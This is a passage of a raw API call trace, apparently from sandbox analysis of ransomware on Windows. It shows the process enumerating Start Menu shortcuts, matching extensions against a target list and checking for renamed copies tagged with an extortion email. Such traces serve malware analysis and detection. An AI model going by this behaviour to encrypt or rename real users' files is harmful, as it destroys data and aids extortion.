lpString2="r.lnk") returned -1 [0172.395] lstrlenW (lpString=".ppt") returned 4 [0172.395] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.395] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk") returned 98 [0172.395] lstrlenW (lpString=".zip") returned 4 [0172.395] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.395] lstrlenW (lpString=".rar") returned 4 [0172.395] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.395] lstrlenW (lpString=".bz2") returned 4 [0172.395] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.395] lstrlenW (lpString=".7z") returned 3 [0172.395] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.396] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk") returned 98 [0172.396] lstrlenW (lpString=".dbf") returned 4 [0172.396] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.396] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk") returned 98 [0172.396] lstrlenW (lpString=".1cd") returned 4 [0172.396] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.396] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk") returned 98 [0172.396] lstrlenW (lpString=".jpg") returned 4 [0172.396] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.396] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0172.396] lstrlenW (lpString="System Information.lnk") returned 22 [0172.396] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system information.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0172.396] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1250) returned 1 [0172.396] CloseHandle (hObject=0x1ac) returned 1 [0172.400] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system information.lnk")) returned 0x20 [0172.400] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system information.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.400] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system information.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.400] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk") returned 100 [0172.400] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk") returned 100 [0172.400] lstrlenW (lpString=".doc") returned 4 [0172.400] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.400] lstrlenW (lpString=".docx") returned 5 [0172.400] lstrcmpiW (lpString1=".docx", lpString2="n.lnk") returned -1 [0172.400] lstrlenW (lpString=".pdf") returned 4 [0172.400] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.400] lstrlenW (lpString=".xls") returned 4 [0172.400] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.400] lstrlenW (lpString=".xlsx") returned 5 [0172.401] lstrcmpiW (lpString1=".xlsx", lpString2="n.lnk") returned -1 [0172.401] lstrlenW (lpString=".ppt") returned 4 [0172.401] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.401] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk") returned 100 [0172.401] lstrlenW (lpString=".zip") returned 4 [0172.401] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.401] lstrlenW (lpString=".rar") returned 4 [0172.401] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.401] lstrlenW (lpString=".bz2") returned 4 [0172.401] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.401] lstrlenW (lpString=".7z") returned 3 [0172.401] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.401] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk") returned 100 [0172.401] lstrlenW (lpString=".dbf") returned 4 [0172.401] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.401] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk") returned 100 [0172.401] lstrlenW (lpString=".1cd") returned 4 [0172.401] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.401] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk") returned 100 [0172.401] lstrlenW (lpString=".jpg") returned 4 [0172.401] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.401] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk") returned 100 [0172.401] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk") returned 100 [0172.401] lstrlenW (lpString=".doc") returned 4 [0172.401] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.401] lstrlenW (lpString=".docx") returned 5 [0172.401] lstrcmpiW (lpString1=".docx", lpString2="n.lnk") returned -1 [0172.401] lstrlenW (lpString=".pdf") returned 4 [0172.401] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.401] lstrlenW (lpString=".xls") returned 4 [0172.402] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.402] lstrlenW (lpString=".xlsx") returned 5 [0172.402] lstrcmpiW (lpString1=".xlsx", lpString2="n.lnk") returned -1 [0172.402] lstrlenW (lpString=".ppt") returned 4 [0172.402] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.402] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk") returned 100 [0172.402] lstrlenW (lpString=".zip") returned 4 [0172.402] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.402] lstrlenW (lpString=".rar") returned 4 [0172.402] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.402] lstrlenW (lpString=".bz2") returned 4 [0172.402] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.402] lstrlenW (lpString=".7z") returned 3 [0172.402] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.402] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk") returned 100 [0172.402] lstrlenW (lpString=".dbf") returned 4 [0172.402] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.402] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk") returned 100 [0172.402] lstrlenW (lpString=".1cd") returned 4 [0172.402] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.402] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk") returned 100 [0172.402] lstrlenW (lpString=".jpg") returned 4 [0172.402] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.402] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0172.402] lstrlenW (lpString="System Restore.lnk") returned 18 [0172.402] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system restore.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0172.403] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1246) returned 1 [0172.403] CloseHandle (hObject=0x1ac) returned 1 [0172.404] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system restore.lnk")) returned 0x20 [0172.404] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system restore.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.404] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system restore.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.404] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk") returned 96 [0172.404] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk") returned 96 [0172.404] lstrlenW (lpString=".doc") returned 4 [0172.404] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.404] lstrlenW (lpString=".docx") returned 5 [0172.404] lstrcmpiW (lpString1=".docx", lpString2="e.lnk") returned -1 [0172.404] lstrlenW (lpString=".pdf") returned 4 [0172.404] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.404] lstrlenW (lpString=".xls") returned 4 [0172.404] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.404] lstrlenW (lpString=".xlsx") returned 5 [0172.404] lstrcmpiW (lpString1=".xlsx", lpString2="e.lnk") returned -1 [0172.404] lstrlenW (lpString=".ppt") returned 4 [0172.404] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.404] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk") returned 96 [0172.404] lstrlenW (lpString=".zip") returned 4 [0172.404] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.404] lstrlenW (lpString=".rar") returned 4 [0172.404] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.404] lstrlenW (lpString=".bz2") returned 4 [0172.404] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.404] lstrlenW (lpString=".7z") returned 3 [0172.404] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.404] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk") returned 96 [0172.405] lstrlenW (lpString=".dbf") returned 4 [0172.405] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.405] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk") returned 96 [0172.405] lstrlenW (lpString=".1cd") returned 4 [0172.405] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.405] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk") returned 96 [0172.405] lstrlenW (lpString=".jpg") returned 4 [0172.405] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.405] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk") returned 96 [0172.405] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk") returned 96 [0172.405] lstrlenW (lpString=".doc") returned 4 [0172.405] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.405] lstrlenW (lpString=".docx") returned 5 [0172.405] lstrcmpiW (lpString1=".docx", lpString2="e.lnk") returned -1 [0172.405] lstrlenW (lpString=".pdf") returned 4 [0172.405] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.405] lstrlenW (lpString=".xls") returned 4 [0172.405] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.405] lstrlenW (lpString=".xlsx") returned 5 [0172.405] lstrcmpiW (lpString1=".xlsx", lpString2="e.lnk") returned -1 [0172.405] lstrlenW (lpString=".ppt") returned 4 [0172.405] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.405] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk") returned 96 [0172.405] lstrlenW (lpString=".zip") returned 4 [0172.405] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.405] lstrlenW (lpString=".rar") returned 4 [0172.405] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.405] lstrlenW (lpString=".bz2") returned 4 [0172.405] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.405] lstrlenW (lpString=".7z") returned 3 [0172.405] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.406] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk") returned 96 [0172.406] lstrlenW (lpString=".dbf") returned 4 [0172.406] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.406] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk") returned 96 [0172.406] lstrlenW (lpString=".1cd") returned 4 [0172.406] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.406] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk") returned 96 [0172.406] lstrlenW (lpString=".jpg") returned 4 [0172.406] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.406] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0172.406] lstrlenW (lpString="Task Scheduler.lnk") returned 18 [0172.406] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\task scheduler.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0172.406] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1268) returned 1 [0172.406] CloseHandle (hObject=0x1ac) returned 1 [0172.407] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\task scheduler.lnk")) returned 0x20 [0172.407] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\task scheduler.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.407] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\task scheduler.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.407] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk") returned 96 [0172.407] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk") returned 96 [0172.407] lstrlenW (lpString=".doc") returned 4 [0172.407] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.407] lstrlenW (lpString=".docx") returned 5 [0172.407] lstrcmpiW (lpString1=".docx", lpString2="r.lnk") returned -1 [0172.407] lstrlenW (lpString=".pdf") returned 4 [0172.407] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.407] lstrlenW (lpString=".xls") returned 4 [0172.407] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.407] lstrlenW (lpString=".xlsx") returned 5 [0172.407] lstrcmpiW (lpString1=".xlsx", lpString2="r.lnk") returned -1 [0172.407] lstrlenW (lpString=".ppt") returned 4 [0172.407] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.407] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk") returned 96 [0172.407] lstrlenW (lpString=".zip") returned 4 [0172.407] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.407] lstrlenW (lpString=".rar") returned 4 [0172.407] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.407] lstrlenW (lpString=".bz2") returned 4 [0172.407] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.407] lstrlenW (lpString=".7z") returned 3 [0172.408] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.408] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk") returned 96 [0172.408] lstrlenW (lpString=".dbf") returned 4 [0172.408] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.408] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk") returned 96 [0172.408] lstrlenW (lpString=".1cd") returned 4 [0172.408] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.408] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk") returned 96 [0172.408] lstrlenW (lpString=".jpg") returned 4 [0172.408] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.408] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk") returned 96 [0172.408] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk") returned 96 [0172.408] lstrlenW (lpString=".doc") returned 4 [0172.408] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.408] lstrlenW (lpString=".docx") returned 5 [0172.408] lstrcmpiW (lpString1=".docx", lpString2="r.lnk") returned -1 [0172.408] lstrlenW (lpString=".pdf") returned 4 [0172.408] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.408] lstrlenW (lpString=".xls") returned 4 [0172.408] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.408] lstrlenW (lpString=".xlsx") returned 5 [0172.408] lstrcmpiW (lpString1=".xlsx", lpString2="r.lnk") returned -1 [0172.408] lstrlenW (lpString=".ppt") returned 4 [0172.408] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.408] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk") returned 96 [0172.408] lstrlenW (lpString=".zip") returned 4 [0172.408] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.408] lstrlenW (lpString=".rar") returned 4 [0172.408] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.408] lstrlenW (lpString=".bz2") returned 4 [0172.408] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.408] lstrlenW (lpString=".7z") returned 3 [0172.409] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.409] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk") returned 96 [0172.409] lstrlenW (lpString=".dbf") returned 4 [0172.409] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.409] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk") returned 96 [0172.409] lstrlenW (lpString=".1cd") returned 4 [0172.409] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.409] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk") returned 96 [0172.409] lstrlenW (lpString=".jpg") returned 4 [0172.409] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.409] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0172.409] lstrlenW (lpString="Windows Easy Transfer Reports.lnk") returned 33 [0172.409] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer reports.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0172.409] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1320) returned 1 [0172.409] CloseHandle (hObject=0x1ac) returned 1 [0172.410] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer reports.lnk")) returned 0x20 [0172.410] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer reports.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.410] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer reports.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.410] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk") returned 111 [0172.410] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk") returned 111 [0172.410] lstrlenW (lpString=".doc") returned 4 [0172.410] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.410] lstrlenW (lpString=".docx") returned 5 [0172.410] lstrcmpiW (lpString1=".docx", lpString2="s.lnk") returned -1 [0172.410] lstrlenW (lpString=".pdf") returned 4 [0172.410] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.410] lstrlenW (lpString=".xls") returned 4 [0172.410] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.410] lstrlenW (lpString=".xlsx") returned 5 [0172.410] lstrcmpiW (lpString1=".xlsx", lpString2="s.lnk") returned -1 [0172.410] lstrlenW (lpString=".ppt") returned 4 [0172.410] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.410] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk") returned 111 [0172.410] lstrlenW (lpString=".zip") returned 4 [0172.410] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.410] lstrlenW (lpString=".rar") returned 4 [0172.410] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.410] lstrlenW (lpString=".bz2") returned 4 [0172.410] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.410] lstrlenW (lpString=".7z") returned 3 [0172.410] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.411] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk") returned 111 [0172.411] lstrlenW (lpString=".dbf") returned 4 [0172.411] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.411] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk") returned 111 [0172.411] lstrlenW (lpString=".1cd") returned 4 [0172.411] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.411] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk") returned 111 [0172.411] lstrlenW (lpString=".jpg") returned 4 [0172.411] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.411] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk") returned 111 [0172.411] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk") returned 111 [0172.411] lstrlenW (lpString=".doc") returned 4 [0172.411] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.411] lstrlenW (lpString=".docx") returned 5 [0172.411] lstrcmpiW (lpString1=".docx", lpString2="s.lnk") returned -1 [0172.411] lstrlenW (lpString=".pdf") returned 4 [0172.411] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.411] lstrlenW (lpString=".xls") returned 4 [0172.411] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.411] lstrlenW (lpString=".xlsx") returned 5 [0172.411] lstrcmpiW (lpString1=".xlsx", lpString2="s.lnk") returned -1 [0172.411] lstrlenW (lpString=".ppt") returned 4 [0172.411] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.411] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk") returned 111 [0172.411] lstrlenW (lpString=".zip") returned 4 [0172.411] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.411] lstrlenW (lpString=".rar") returned 4 [0172.411] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.411] lstrlenW (lpString=".bz2") returned 4 [0172.411] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.411] lstrlenW (lpString=".7z") returned 3 